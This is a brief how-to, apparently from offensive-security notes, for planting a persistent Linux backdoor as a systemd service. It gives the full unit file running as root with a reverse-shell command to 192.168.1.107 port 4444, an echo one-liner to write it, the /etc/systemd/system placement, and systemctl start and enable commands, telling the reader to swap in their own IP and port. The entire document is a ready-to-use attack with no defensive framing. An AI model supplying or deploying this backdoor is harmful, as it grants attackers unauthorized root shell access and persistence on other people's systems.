Backdoors as services (BaaS) for unauthorized access. Below is an example of a BaaS configuration encapsulated in a single file (backdoor.service
)
the file have to be placed only in /etc/systemd/system/ and named as .service file for create the file run
echo '[Service]
Type=simple
User=root
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.1.107/4444 0>&1"
[Install]
WantedBy=multi-user.target' > backdoor.service
clean code
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.1.107/4444 0>&1"
[Install]
WantedBy=multi-user.target
systemctl start backdoor.service
systemctl enable backdoor.service
to replace 192.168.1.107
and 4444
with your desired IP address and port.